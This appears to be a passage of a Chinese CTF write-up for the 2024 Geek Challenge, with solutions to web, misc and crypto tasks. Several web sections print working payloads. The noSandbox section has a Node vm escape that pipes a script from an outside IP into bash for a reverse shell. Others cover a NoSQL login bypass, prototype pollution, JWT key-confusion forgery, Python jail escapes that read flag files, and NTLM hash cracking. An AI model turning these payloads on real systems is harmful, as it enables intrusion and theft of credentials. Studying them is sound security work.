36\u003C\u002F\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u003E\u000A\u003C\u002F\u0075\u0073\u0065\u0072\u003E"
                }
            }
        }
    }
}

在update路由传参,并在xml_parse收到flag

noSandbox(复现)

SQL采用了MongoDB
https://xz.aliyun.com/t/9908
用Nosql的永真式注入绕过登录

{"username":{"$ne":1},"password": {"$ne":1}}

接下来给了execute路由执行js代码
考点是VM逃逸
https://xz.aliyun.com/t/11859
分析获得的app_part.js

js
//泄露的代码执行和WAF部分代码,不能直接运行

const vm = require('vm');

function waf(code,res) {
let pattern = /(find|ownKeys|fromCharCode|includes|\'|\"|replace|fork|reverse|fs|process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function|env)/m;
if (code.match(pattern)) {
console.log('WAF detected malicious code');
res.status(403).send('WAF detected malicious code');
exit();
}
}


app.post('/execute', upload.none(), (req, res) => {
let code = req.body.code;
const token = req.cookies.token;

if (!token) {
return res.status(403).send('Missing execution code credentials.');
}
if (!jwt.verify(token, JWT_SECRET)) {
return res.status(403).send('Invalid token provided.');
}

console.log(`Received code for execution: ${code}`);

try {
waf(code,res);
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);

let script = new vm.Script(code);
console.log('Executing code in sandbox context');
script.runInContext(context);

console.log(`Code executed successfully. Result: ${sandbox.result || 'No result returned.'}`);
res.json('Code executed successfully' );
} catch (err) {
console.error(`Error executing code: ${err.message}`);
res.status(400).send(`Error: there's no display back here,may be it executed successfully?`);
}
});

使用`${}`绕过黑名单,利用官方题解总结

process `${`${`proce`}ss`}`
prototype `${`${`prototyp`}e`}`
get_process `${`${`get_pro`}cess`}`
require `${`${`requir`}e`}`
execSync `${`${`exe`}cSync`}`
return process `${`${`return proc`}ess`}`
constructor `${`${`constructo`}r`}`
child_process `${`${`child_proces`}s`}`

payload:

throw new Proxy({}, {get: function(){const cc = arguments.callee.caller;const p = (cc.constructor.constructor(`${`${`return proc`}ess`}`))();chi=p.mainModule.require(`${`${`child_proces`}s`}`);res=Reflect.get(chi,`${`${`exe`}cSync`}`)(`curl 8.155.17.250/m.sh | bash`);return res.toString();}})

直接反弹shell即可

escapeSandbox_PLUS(复现)

这个是真弄不懂原理,先把payload放上来
Part1:

username:ſyclover
password:J1rrY

Part2:

py
import requests
import json
import time

ses = requests.session()
headers = {
"Cookie": "connect.sid=s%3AfkMOAgnXVe1bL5LoJ2KnKe3sjwHIPlP4.m1w4YDm7xwFa5aytoMLXKOp%2BV30kp4JQCD7Ylz4ww0g",
}
url = "http://3000-fead7ddc-eb05-474f-9c78-ec5636d0eb66.challenge.ctfplus.cn/execute"
pos = 1
flag = ""
while True:
strs = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{-}_"
for i in strs:
data = {
"code[]": "async function fn() { (function stack() { new Error().stack; stack(); })(); } p = fn(); p.constructor = { [Symbol.species]: class FakePromise { constructor(executor) { executor((x) => x, (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('sleep $(cat /flag| cut -c%s | tr %s 2)'); }) } } }; p.then();"
% (str(pos), i)
}
t1 = time.time()
req1 = ses.post(url, headers=headers, data=data)
print(req1.text)
t2 = time.time()
print(i + str(t2 - t1))
if t2 - t1 > 2:
pos += 1
flag += i
print(flag)
break
if flag[-1] == "}":
break

ez_js(复现)

第一关js原型链污染

{"username":"Starven","password":"123456","__proto__":{"hasFlag":true}}

第二关需要绕过逗号
用&连接并用syc传参

?syc={"username":"Starven"&syc="password":"123456"&syc="hasFlag":true}

jwt_pickle(复现)

https://github.com/nu11secur1ty/rsa_sign2n
docker环境配好

bash
python3 jwt_forgery.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IjEiLCJwYXNzd29yZCI6ImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIiwiaXNfYWRtaW4iOmZhbHNlfQ.jleYYWDC9AlFzuGZ6Gk7RkyBuHlF7QS97wPA_ycJBtNPa1_RGMa5nyOE0-yv_dto9WMSx_aJ4epZ69fjZ8ZD1le6Qoa9sRhRdzW8el6NterxfMWfsz35L651Y69I13xsjg8uGryEKPcKTa42VvtCxUICkflYBJL29hpNwVBPQtGYTUIyusr6OkLSNLRiF7GF4EEqiBKcXf69xpYoIBsIOjbaE-tVsbrbCVOwDOugyz5HRWAN9fqtlVzsla5rgXSzJeyudYqzGDcR7oXzRH4ApoP16MQ-Q4_q_363HVOpOzx20qGUxgLP6b3roC-PuNLUcJ_lyFYQlos6obLo22p1Og eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IjIiLCJwYXNzd29yZCI6ImM4MWU3MjhkOWQ0YzJmNjM2ZjA2N2Y4OWNjMTQ4NjJjIiwiaXNfYWRtaW4iOmZhbHNlfQ.DZKzbWYUbQvzgnkXi3oem1dTUtunTNqFtNTXmJUKkWjUenZpZMXZ_z-8aIzvVocQlS9BRnzFe5rVqkgwlla7BQ_fxKMixMmLbtlJ3tTNYLI2C5GtB4MRoui8dtMZx0n2zM9e0NmTy-zs8yiuHA9odC6p-KRxSRVZyAtpCD4FtAl0pybgBaBgSdJnw7On7Gm5CqjtOXar9OPX2Xy5fTLGyzkGd0Xgrj8oGafI0R5c9AcTh_aagPNLqwQ8gdDPu3uVPQOfyYgL8tfxX7NlA1B5JO8VnrFGDPvuQzVSJZnANAGHIABl3jjAQHdG9Th9CWaOcp7Jxrkw_hYx7VZWS4980Q

将出现的密钥一个个试,发现b305dd712d5d2378_65537_pkcs1.pem是我们求的公钥

bash
mkdir /tmp/docker
docker cp 68a13c73d848:/app/ /tmp/docker/68a13c73d848

注意python库的jwt最新版已经弃用了pem 格式的公钥做为 HS256 的密钥
需要注释掉 jwt/algorithms.py中的raise InvalidKeyError部分

py
def prepare_key(self, key: str | bytes) -> bytes:
key_bytes = force_bytes(key)

# if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
# raise InvalidKeyError(
# "The specified key is an asymmetric key or x509 certificate and"
# " should not be used as an HMAC secret."
# )

return key_bytes

jwt签名.py

py
import jwt


publicKey = open("./b305dd712d5d2378_65537_pkcs1.pem", "rb").read()
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICIxIiwgInBhc3N3b3JkIjogImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIiwgImlzX2FkbWluIjogZmFsc2UsICJleHAiOiAxNzMyNzY4MTc0fQ.bohRFPyPpuMxMIuCtShU63I7ms2w8ZcWgejI1BV2158"
try:
real = jwt.decode(token, publicKey, algorithms=["HS256", "RS256"])
print(real)
except Exception as e:
exit(e)
ss = {
"username": "1",
"password": "c4ca4238a0b923820dcc509a6f75849b",
"is_admin": True,
"exp": 1732768174,
}
token = jwt.encode(
ss,
publicKey,
algorithm="HS256",
)
print(token)

获取admin权限后然后就可以打pickle反弹shell了

Misc

I_wanna_go_to_SYC

https://www.cnblogs.com/chrysanthemum/p/11986382.html#gallery-7
一开始没有发现save1,我是傻逼
根据这个payload把第三位加2就能直接到flag房

Welcome_jail

py
from pwn import *

io = remote("nc1.ctfplus.cn", 22957)
cmd = "cat /home/ctf/flag"
exp = ""
for i in cmd:
exp += "chr(" + str(ord(i)) + ")+"
exp = exp.rstrip("+").encode() # 去掉最后多余的 "+"
payload = (
b"print([].__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[chr(112)+chr(111)+chr(112)+chr(101)+chr(110)](%b).read())"
% exp
)
print(payload)
io.sendline(payload)
while True:
print(io.recvline())

cimbar

https://github.com/sz3/cimbar
搜cimbar看到原理和给的图很相像,点进去得到cimbar的加密方式
https://github.com/sz3/libcimbar/blob/master/DETAILS.md

照着上面输入就OK了

ez_pcap_1

sh
strings flag.pcapng | grep "SYC{"

Truth of Word


flag1: SYC{W0rd_H@5

flag2: @_Ama1n9_
把.docu后缀改为.zip,发现藏有flag03.png

flag3: StrUCtu3e!}

2024 geek challenge! 签到

签到

doSomeMath

py
import os

white_List=["+","-","*","/","_","g","e","l","t","(",")",".",","]
flag=os.environ.get("GEEK_FLAG") if os.environ.get("GEEK_FLAG")!=None else "SYC{test}"
banner=''' _ ____ __ __ _ _
__| | ___/ ___| ___ _ __ ___ ___| \/ | __ _| |_| |__
/ _` |/ _ \___ \ / _ \| '_ ` _ \ / _ \ |\/| |/ _` | __| '_ \\
| (_| | (_) |__) | (_) | | | | | | __/ | | | (_| | |_| | | |
\__,_|\___/____/ \___/|_| |_| |_|\___|_| |_|\__,_|\__|_| |_|

'''
def waf(s):
if not s.isascii():
exit("Please input ascii")
for word in s:
if word not in white_List:
exit("hacker!!!!")
print(banner)
print("please do this math problem")
#9872
while True:
try:
result = input("99*100^60= ")
waf(result)

if 99 * 100 ^ 60 == eval(result):
print("Congradulation!!!!! Here is your reward: " + flag)
else:
print("not right")
except:
print("error")

().__ge__(()) 可以构造出1,意思是()是否大于等于()。
接下来只要构造出9872就好,注意eval有字符长度限制

py
from pwn import *

io = remote("nc1.ctfplus.cn", 36582)
s = "().__ge__(())" # 1
s_2 = ""
s_7 = ""
s_8 = ""
s_9 = ""
s_10 = ""
payload = ""
for i in range(2):
s_2 += s + "+"
s_2 = s_2[:-1]
s_2 = "(" + s_2 + ")"
for i in range(7):
s_7 += s + "+"
s_7 = s_7[:-1]
s_7 = "(" + s_7 + ")"
for i in range(8):
s_8 += s + "+"
s_8 = s_8[:-1]
s_8 = "(" + s_8 + ")"
for i in range(9):
s_9 += s + "+"
s_9 = s_9[:-1]
s_9 = "(" + s_9 + ")"
for i in range(10):
s_10 += s + "+"
s_10 = s_10[:-1]
s_10 = "(" + s_10 + ")"
# payload=9*10*10*10+8*10*10+7*10+2
# print(eval(s_2))
# print(eval(s_7))
# print(eval(s_8))
# print(eval(s_9))
# print(eval(s_10))
payload = s_9 + "*" + s_10 + "*" + s_10 + "*" + s_10
payload += "+" + s_8 + "*" + s_10 + "*" + s_10
payload += "+" + s_7 + "*" + s_10
payload += "+" + s_2
print(eval(payload))
io.sendline(payload)
while True:
print(io.recvline())
# 9872

hard_jail

为了构造斜杠卡了好久,不同版本doc文档不一样是最恶心的。
出题人催促我们换新版本(确信)
原理就是把__file__换成/flag,利用show读取

py
from pwn import *
import os

print(os.__doc__)
i = 40
io = remote("nc1.ctfplus.cn", 25584)
io.sendline(b"import os")
io.sendline(b"a=os.__doc__")
io.sendline(b"b=a[424]+a[42]+a[4]+a[51]+a[9]+a[424]+a[89]+a[6]")
io.sendline(b"b+=a[12]+a[424]+a[12]+a[83]+a[43]+a[36]")
io.sendline(b"__file__=b")
io.sendline(b"show")
while True:
print(io.recvline())
# import os

# str = "/home/ctf/flag"
# for i in str:
# print("a[", end="")
# print(os.__doc__.find(i), end="")
# print("]+", end="")

出题人预期解:
无括号绕过

help.__class__.__eq__=exec
help.__class__.__getattribute__=input
help==help.a
# 进入input
__import__('os').system('cat /home/ctf/flag')

舔狗的觉醒

ARCHPR跑出压缩包密码为8个8(竟然有8位!)
看文档开头 05 b4 30 40判断是字节的两位之间调换了位置,能恢复成zip文件
https://github.com/AabyssZG/FileReverse-Tools 用这个的 -re 参数恢复
解压发现flag.pdf文件,需要移开图片,但pdf上了锁。
搜索pdf解锁找到一个在线解锁pdf的网站
https://www.ilovepdf.com/zh-cn/unlock_pdf
用这个打开 flag_unlocked.pdf 移开图片拿到flag

snow加密。压缩包密码是最后的base64编码。
用WaterMarkH.exe提取syclover_WaterMark.png

得到 snow 解密的密码为Th1si4st8eK3y

ez_climbstairs

这题我环境有问题,跑不出来,交给队友跑的,然后他交上flag后我又能跑了。。

py
from pwn import *

sys.set_int_max_str_digits(100000)

def climb_stairs(n):
dp = [0] * (n + 1)
dp[0] = 1
dp[1] = 1
dp[2] = 2
for i in range(3, n + 1):
dp[i] = dp[i - 1] + dp[i - 2] + dp[i - 3]
return dp[n]

io = remote("nc1.ctfplus.cn", 20140)
for i in range(100):
io.recvuntil(" ")
num = int(io.recvuntil(" ")[:-1].decode())
print(f"解析出的楼梯数: {num}")
payload = str(climb_stairs(num)).encode()
io.sendline(payload)
response = io.recvline().decode()
print(f"服务器返回: {response}")
while 1:
print(io.recvline())

ez_jpg

base64编码后发现是个以9DFF开头的十六进制字符串
根据题目名称判断为jpg结尾FFD9经过了反转
https://github.com/AabyssZG/FileReverse-Tools 用工具的-r参数反转得到一个jpg文件

最后在随波逐流找到了jpg修改高度

图片增加高度后拿到flag

Secret of Starven(复现)

涉及SMB2协议,哈希值格式为
username::domain:ntlmv2_response.chall:ntproofstr:不包含ntproofstr的ntlmv2_response值
手动查找略
这里可以用一个自动化脚本提取流量的hash值 https://github.com/mlgualtieri/NTLMRawUnhide
NTLMRawUnhide.py

py
#!/usr/bin/env python3
#
# NTLMRawUnhide.py is a Python3 script designed to parse network packet capture
# files and extract NTLMv2 hashes in a crackable format. The following binary
# network packet capture formats are supported: *.pcap *.pcapng *.cap *.etl
#
# This tool was developed to extract NTLMv2 hashes from files generated by
# native Windows binaries like NETSH.EXE and PKTMON.EXE without conversion.
#
#
# Usage: NTLMRawUnhide.py -i <inputfile> [-o <outputfile>] [-f] [-h] [-q] [-v]
#
#
# Methods to create compatible packet capture files:
#
# > Wireshark: Set capture filter as "tcp port 445"; Save as .pcapng
#
# > tcpdump -i eth0 -w capture.pcap "port 445"
#
# > netsh.exe trace start persistent=yes capture=yes TCP.AnyPort=445 \
# tracefile=C:\Users\Public\capture.etl
# netsh.exe trace stop
#
# > pktmon.exe filter add SMB -p 445
# :: List all filters
# pktmon.exe filter list
# :: Find id of the network adapter (example > Id: 9)
# pktmon.exe comp list
# :: pktmon.exe start --etw -p 0 -c [Adapter ID]
# pktmon.exe start --etw -p 0 -c 9
# :: Will create the file PktMon.etl in current directory
# pktmon.exe stop
# :: Cleanup
# pktmon.exe filter remove
#
#
# Author: Mike Gualtieri
# Blog: https://www.mike-gualtieri.com
# Twitter: https://twitter.com/mlgualtieri
#
# GitHub: https://github.com/mlgualtieri/NTLMRawUnhide
#
#
# The following URL was very helpful when building this tool:
# The NTLM Authentication Protocol and Security Support Provider
# http://davenport.sourceforge.net/ntlm.html
#

import sys, getopt, time
import os.path
from os import path


# The decode_string() function was taken from:
# https://github.com/b17zr/ntlm_challenger
def decode_string(byte_string):
return byte_string.decode("UTF-8").replace("\x00", "")


# The decode_int() function was taken from:
# https://github.com/b17zr/ntlm_challenger
def decode_int(byte_string):
return int.from_bytes(byte_string, "little")


# Output our hash to specified outfile
def writeOutfile(output, outstr):
outstr = outstr + "\n"
f = open(output, "a")
f.write(outstr)
f.close()


# All the magic happens in searchCaptureFile()
def searchCaptureFile(infile, outfile, verbose, follow, quiet, offset=0):

# Variable initialization
server_challenge = None

# NTLMSSP message signatures
ntlmssp_sig = b"\x4e\x54\x4c\x4d\x53\x53\x50\x00" # NTLMSSP\x00
ntlmssp_type_1 = (
b"\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00" # NTLMSSP\x00 0x01000000
)
ntlmssp_type_2 = (
b"\x4e\x54\x4c\x4d\x53\x53\x50\x00\x02\x00\x00\x00" # NTLMSSP\x00 0x02000000
)
ntlmssp_type_3 = (
b"\x4e\x54\x4c\x4d\x53\x53\x50\x00\x03\x00\x00\x00" # NTLMSSP\x00 0x03000000
)

# Read binary file data
with open(infile, "rb") as fp:
readbuff = fp.read()
last_byte = len(readbuff)

# fp.seek(offset,0)
fp.seek(0, 0)
readbuff = fp.read()

# Read bytes until the end of the file
while offset != -1:
# print("Current scan offset:",offset)

# increment file offset past occurance of ntlm_sig unless start of file
if offset != 0:
offset = offset + len(ntlmssp_sig)

offset = readbuff.find(ntlmssp_sig, offset)

### Check for NTLMSSP Message type(s)

# NTLMSSP Message Type 1: Negotiation
check_ntlm_type = readbuff.find(
ntlmssp_type_1, offset, offset + len(ntlmssp_type_1)
)
if check_ntlm_type > -1:
if quiet == False:
if verbose == True:
print(
"\033[1;37mFound NTLMSSP Message Type 1 :\033[1;32m Negotiation\033[0;37m \033[1;30m>\033[0;37m Offset",
offset,
"\033[0;37m",
)
else:
print(
"\033[1;37mFound NTLMSSP Message Type 1 :\033[1;32m Negotiation\033[0;37m"
)
print()

# NTLMSSP Message Type 2: Challenge
check_ntlm_type = readbuff.find(
ntlmssp_type_2, offset, offset + len(ntlmssp_type_2)
)
if check_ntlm_type > -1:
server_challenge = readbuff[(offset + 24) : (offset + 32)]

if quiet == False:
if verbose == True:
print(
"\033[1;37mFound NTLMSSP Message Type 2 :\033[1;32m Challenge \033[1;30m>\033[0;37m Offset",
offset,
"\033[0;37m",
)
else:
print(
"\033[1;37mFound NTLMSSP Message Type 2 :\033[1;32m Challenge\033[0;37m"
)

print(
" \033[1;34m>\033[1;37m Server Challenge :\033[0;97m",
server_challenge.hex(),
"\033[0;37m",
)
print()

# NTLMSSP Message Type 3: Authentication
check_ntlm_type = readbuff.find(
ntlmssp_type_3, offset, offset + len(ntlmssp_type_3)
)
if check_ntlm_type > -1:
if quiet == False:
if verbose == True:
print(
"\033[1;37mFound NTLMSSP Message Type 3 :\033[1;32m Authentication \033[1;30m>\033[0;37m Offset",
offset,
"\033[0;37m",
)
else:
print(
"\033[1;37mFound NTLMSSP Message Type 3 :\033[1;32m Authentication\033[0;37m"
)

# Find domain
domain_length_raw = readbuff[(offset + 28) : (offset + 28 + 2)]
domain_length = decode_int(domain_length_raw)

domain_offset_raw = readbuff[
(offset + 28 + 2 + 2) : (offset + 28 + 2 + 2 + 4)
]
domain_offset = decode_int(domain_offset_raw)

domain = readbuff[
(offset + domain_offset) : (offset + domain_offset + domain_length)
]

if quiet == False:
print(
" \033[1;34m>\033[1;37m Domain :\033[0;97m",
decode_string(domain),
"\033[0;37m",
)

if verbose == True:
print(" Domain length :", domain_length)
print(" Domain offset :", domain_offset)
print()

# Find username
username_length_raw = readbuff[(offset + 36) : (offset + 36 + 2)]
username_length = decode_int(username_length_raw)

username_offset_raw = readbuff[
(offset + 36 + 2 + 2) : (offset + 36 + 2 + 2 + 4)
]
username_offset = decode_int(username_offset_raw)

username = readbuff[
(offset + username_offset) : (
offset + username_offset + username_length
)
]

if quiet == False:
print(
" \033[1;34m>\033[1;37m Username :\033[0;97m",
decode_string(username),
"\033[0;37m",
)

if verbose == True:
print(" Username length :", username_length)
print(" Username offset :", username_offset)
print()

# Find workstation
workstation_length_raw = readbuff[(offset + 44) : (offset + 44 + 2)]
workstation_length = decode_int(workstation_length_raw)

workstation_offset_raw = readbuff[
(offset + 44 + 2 + 2) : (offset + 44 + 2 + 2 + 4)
]
workstation_offset = decode_int(workstation_offset_raw)

workstation = readbuff[
(offset + workstation_offset) : (
offset + workstation_offset + workstation_length
)
]

if quiet == False:
print(
" \033[1;34m>\033[1;37m Workstation :\033[0;97m",
decode_string(workstation),
"\033[0;37m",
)

if verbose == True:
print(" Workstation length :", workstation_length)
print(" Workstation offset :", workstation_offset)
print()

# Find NTLM response
ntlm_length_raw = readbuff[(offset + 20) : (offset + 20 + 2)]
ntlm_length = decode_int(ntlm_length_raw)

ntlm_offset_raw = readbuff[
(offset + 20 + 2 + 2) : (offset + 20 + 2 + 2 + 4)
]
ntlm_offset = decode_int(ntlm_offset_raw)

ntproofstr = readbuff[(offset + ntlm_offset) : (offset + ntlm_offset + 16)]
ntlmv2_response = readbuff[
(offset + ntlm_offset + 16) : (offset + ntlm_offset + ntlm_length)
]

if quiet == False:
if verbose == True:
print(" NTLM length :", ntlm_length)
print(" NTLM offset :", ntlm_offset)
print(
" \033[1;34m>\033[1;37m NTProofStr :\033[0;37m",
ntproofstr.hex(),
)
print(
" \033[1;34m>\033[1;37m NTLMv2 Response :\033[0;37m",
ntlmv2_response.hex(),
)

print()

# Prepare NTLMv2 Hash for output
if server_challenge != None:
if quiet == False:
print("\033[1;37mNTLMv2 Hash recovered:\033[0;97m")

if ntlm_length == 0:
if quiet == False:
print(
"\033[0;37mNTLM NULL session found... no hash to generate\033[0;37m"
)
elif domain_length == 0:
hash_out = (
decode_string(username)
+ "::"
+ decode_string(workstation)
+ ":"
+ server_challenge.hex()
+ ":"
+ ntproofstr.hex()
+ ":"
+ ntlmv2_response.hex()
)

print(hash_out)
if outfile != "":
writeOutfile(outfile, hash_out)
else:
hash_out = (
decode_string(username)
+ "::"
+ decode_string(domain)
+ ":"
+ server_challenge.hex()
+ ":"
+ ntproofstr.hex()
+ ":"
+ ntlmv2_response.hex()
)
print(hash_out)
if outfile != "":
writeOutfile(outfile, hash_out)

print()

# Reset variable
server_challenge = None
else:
if quiet == False:
print(
"\033[1;31mServer Challenge not found... can't create crackable hash :-/\033[0;37m"
)
print()

fp.close()

# Continue forever if follow is set, until ctrl-c
if follow == True:
try:
time.sleep(1)
searchCaptureFile(infile, outfile, verbose, follow, quiet, last_byte)
except KeyboardInterrupt:
# Gracefully exit on ctrl-c
print("Bye!")
pass


# Can a tool be a tool without ASCII Art?
def banner():
# Start yellow
print("\033[0;93m /%(")
print(" -= Find NTLMv2 =- ,@@@@@@@@&")
print(" /%&@@@@&, -= hashes w/ =- %@@@@@@@@@@@*")
print(" (@@@@@@@@@@@( -= NTLMRawUnHide.py =- *@@@@@@@@@@@@@@@.")
print(" &@@@@@@@@@@@@@@&. @@@@@@@@@@@@@@@@@@(")
print(" ,@@@@@@@@@@@@@@@@@@@/ .%@@@@@@@@@@@@@@@@@@@@@")
print(
" /@@@@@@@#&@&*.,/@@@@(. ,%@@@@&##(%@@@@@@@@@."
)
print(
" (@@@@@@@(##(. .#&@%%( .&&@@&( ,/@@@@@@#"
)
print(
" %@@@@@@&*/((. #( ,(@& ,%@@@@@@*"
)
print(
" @@@@@@@&,/(* , .,&@@@@@#"
)
print(
" @@@@@@@/*//, .,,,**"
)
print(" .,, ...")
print(" .#@@@@@@@(.")
print(" /@@@@@@@@@@@&")
print(" .@@@@@@@@@@@*")
print(" .(&@@@%/. ..")
print(" (@@& %@@. .@@@,")
print(" /@@# @@@, %@&")
print(" &@@&. @@@/ @@@#")
print(" . %@@@( ,@@@# @@@( ,")
print(" *@@/ .@@@@@( #@%")
print(" *@@%. &@@@@@@@@, /@@@.")
print(" .@@@@@@@@@@@&. .*@@@@@@@@@@@/.")
print(" .%@@@@%, /%@@@&(.")
print()
# Regular white text
print("\033[0;97m")


# Print basic usage
def usage():
# Bold white text
print("\033[1;37m")
print(
"usage: NTLMRawUnHide.py -i <inputfile> [-o <outputfile>] [-f] [-h] [-q] [-v]"
)
# Regular white text
print("\033[0;97m")


# Display verbose help
def showhelp():
usage()
print("Main options:")
print(' -f, --follow Continuously "follow" (e.g. "read from")')
print(" input file for new data")
print(" -h, --help")
print(" -i, --input <inputfile> Binary packet data input file")
print(" (.pcap, .pcapng, .cap, .etl, others?)")
print(" -o, --output <outputfile> Output file to record any found NTLM")
print(" hashes")
print(" -q, --quiet Be a lot more quiet and only output")
print(" found NTLM hashes. --quiet will also")
print(" disable verbose, if specified.")
print(" -v, --verbose")
print()


def main(argv):

# Check to see if command line args were sent
if not argv:
banner()
usage()
sys.exit()

# Default option values
infile = ""
outfile = ""
verbose = False
follow = False
quiet = False

# Process command line args
try:
opts, args = getopt.getopt(
argv, "hvqfi:o:", ["input=", "output=", "verbose", "follow", "quiet"]
)
except getopt.GetoptError:
usage()
sys.exit(2)
for opt, arg in opts:
if opt in ("-h", "--help"):
banner()
showhelp()
sys.exit()
elif opt in ("-i", "--input"):
infile = arg
elif opt in ("-o", "--output"):
outfile = arg
elif opt in ("-f", "--follow"):
follow = True
elif opt in ("-v", "--verbose"):
verbose = True
elif opt in ("-q", "--quiet"):
quiet = True
else:
usage()
sys.exit(2)

# Check to make sure input file is specified
if infile == "":
print(
"\033[1;31m[!]\033[0;97m Error: Input file not specified. Did you mean to specify -i?"
)
sys.exit()

# Check to make sure input file exists
if os.path.exists(infile) == False:
print("\033[1;31m[!]\033[0;97m Error: Input file not found.")
sys.exit()

if quiet == True:
# Ensure we will be quiet
verbose = False
else:
banner()

# If infile is specified, get things kicked off
if infile != "":
# Bold white text
print("\033[1;37mSearching", infile, "for NTLMv2 hashes...")

if outfile != "":
print("Writing output to:", outfile)

# Regular white text
print("\033[0;97m")
searchCaptureFile(infile, outfile, verbose, follow, quiet, 0)


if __name__ == "__main__":
main(sys.argv[1:])
cmd
hashcat -m 5600 starven.txt /tools/rockyou.txt
hashcat -m 5600 starven.txt /tools/rockyou.txt --show

提取出密码为spellorstarve,即为压缩包的密码。

Crypto

RSA

py
from Crypto.Util.number import bytes_to_long, getPrime
from secret import flag
p = getPrime(128)
q = getPrime(128)
n = p*q
e = 65537
m = bytes_to_long(flag)
c = pow(m, e, n)
print(f"n = {n}")
print(f"p = {p}")
print(f"q = {q}")
print(f"c = {c}")

'''
n = 33108009203593648507706487693709965711774665216872550007309537128959455938833
p = 192173332221883349384646293941837353967
q = 172282016556631997385463935089230918399
c = 5366332878961364744687912786162467698377615956518615197391990327680664213847
'''

很符合新生赛难度

py
from Crypto.Util.number import *
n = 33108009203593648507706487693709965711774665216872550007309537128959455938833
p = 192173332221883349384646293941837353967
q = 172282016556631997385463935089230918399
c = 5366332878961364744687912786162467698377615956518615197391990327680664213847
e = 65537
d=inverse(e,(p-1)*(q-1))
m=pow(c,d,n)
print(long_to_bytes(m))
# b'SYC{RSA_is_easy}'

不是套娃

题目附件 https://pan.baidu.com/s/1YQuXvK7wNrhLoCUcmWEMZw 提取码:game
粗看是一个压缩包套娃
第一关摩斯密码

第二关维吉利亚

第三关哈希密码逆向
哈希字符串为a1fdbce928af7aae
http://www.somd5.com
http://www.cmd5.com
随便一个网站逆出它,为HaiKav
第四关 NEFICPIC&CRTCTNEYO
随波逐流yyds

NICECTF&NICECRYPTO
第五关
提示给的很明显
base100 -> rot13 -> base64 -> base65536
base100:https://ctf.bugku.com/tool/base100
base65536:https://www.better-converter.com/Encoders-Decoders/Base65536-Decode

原爞,启动!
什么?不对?幸亏 原神,启动! 是对的
最后就拿到flag了,flag竟然没藏(嘘)

共模攻击

py
from Crypto.Util.number import *
from secret import flag
p,q = [getPrime(1024) for _ in range(2)]
n = p*q
e = [getPrime(10) for _ in range(2)]

m = bytes_to_long(flag)

c = [pow(m, e[i], n) for i in range(2)]
print(f'n = {n}')
print(f'e1 = {e[0]}')
print(f'e2 = {e[1]}')
print(f'c1 = {c[0]}')
print(f'c2 = {c[1]}')
'''
n = 19742875423645690846073637620470497648804310111201409901059297083827103813674034450200432098143959078292346910591785265323563248781526393718834491458926162514713269984791730816121181307827624489725923763353393879316510062227511469438742429290073999388690825732236465647396755899136346150862848924231619666069528077790933176798057396704758072769660663756346237040909579775389576227450505746914753205890194457812893098491264392293949768193694560954874603451253079446652049592976605414438411872223250039782381259212718733455588477129910357095186014496957765297934289263536712574572533650393220492870445376144568199077767
e1 = 911
e2 = 967
c1 = 18676091924461946809127036439355116782539894105245796626898495935702348484076501694838877829307466429933623102626122909782775514926293363853121828819237500456062111805212209491398720528499589486241208820804465599279152640624618194425740368495072591471531868392274503936869225072123214869399971636428177516761675388589238329574042518038702529606188240859751459632643230538522947412931990009143731829484941397093509641320264169403755707495153433568106934850283614529793695266717330769019091782929139589939928210818515744604847453929432990185347112319971445630830477574679898503825626294542336195240055995445217249602983
c2 = 4229417863231092939788858229435938841085459330992709019823280977891432565586698228613770964563920779991584732527715378842621171338649745186081520176123907689669636473919678398014317024138622949923292787095400632018991311254591786179660603414693984024161009444842277220189315861986306573182865656366278782315864366857374874763243428496061153290565891942968876789905670073321426112497113145141539289020571684634406829272902118484670099097148727072718299512735637087933649345419433312872607209633402427461708181971718804026293074540519907755129917132236240606834816534369171888633588190859475764799895410284484045429152
'''

家人们真是共模攻击,出的也很基础
套公式就行

py
import gmpy2
import binascii
from Crypto.Util.number import getPrime, long_to_bytes

n = 19742875423645690846073637620470497648804310111201409901059297083827103813674034450200432098143959078292346910591785265323563248781526393718834491458926162514713269984791730816121181307827624489725923763353393879316510062227511469438742429290073999388690825732236465647396755899136346150862848924231619666069528077790933176798057396704758072769660663756346237040909579775389576227450505746914753205890194457812893098491264392293949768193694560954874603451253079446652049592976605414438411872223250039782381259212718733455588477129910357095186014496957765297934289263536712574572533650393220492870445376144568199077767
e1 = 911
e2 = 967
c1 = 18676091924461946809127036439355116782539894105245796626898495935702348484076501694838877829307466429933623102626122909782775514926293363853121828819237500456062111805212209491398720528499589486241208820804465599279152640624618194425740368495072591471531868392274503936869225072123214869399971636428177516761675388589238329574042518038702529606188240859751459632643230538522947412931990009143731829484941397093509641320264169403755707495153433568106934850283614529793695266717330769019091782929139589939928210818515744604847453929432990185347112319971445630830477574679898503825626294542336195240055995445217249602983
c2 = 4229417863231092939788858229435938841085459330992709019823280977891432565586698228613770964563920779991584732527715378842621171338649745186081520176123907689669636473919678398014317024138622949923292787095400632018991311254591786179660603414693984024161009444842277220189315861986306573182865656366278782315864366857374874763243428496061153290565891942968876789905670073321426112497113145141539289020571684634406829272902118484670099097148727072718299512735637087933649345419433312872607209633402427461708181971718804026293074540519907755129917132236240606834816534369171888633588190859475764799895410284484045429152
_, s1, s2 = gmpy2.gcdext(e1, e2)
m = pow(c1, s1, n) * pow(c2, s2, n) % n
print(long_to_bytes(m))
# b'SYC{U_can_really_attack}'

ECBpad

跟BaseCTF2024 week4的 ECB是不安全的 很像(一模一样),当时恰好尝试过,但是不会,抄题解不会还不会吧。
于是就抄了,原理人家在题解写的很清楚,贴个连接
https://j0zr0js7k7j.feishu.cn/docx/MS06dyLGRoHBfzxGPF1cz0VhnGh

py
from pwn import *
from Crypto.Util.number import *
import base64

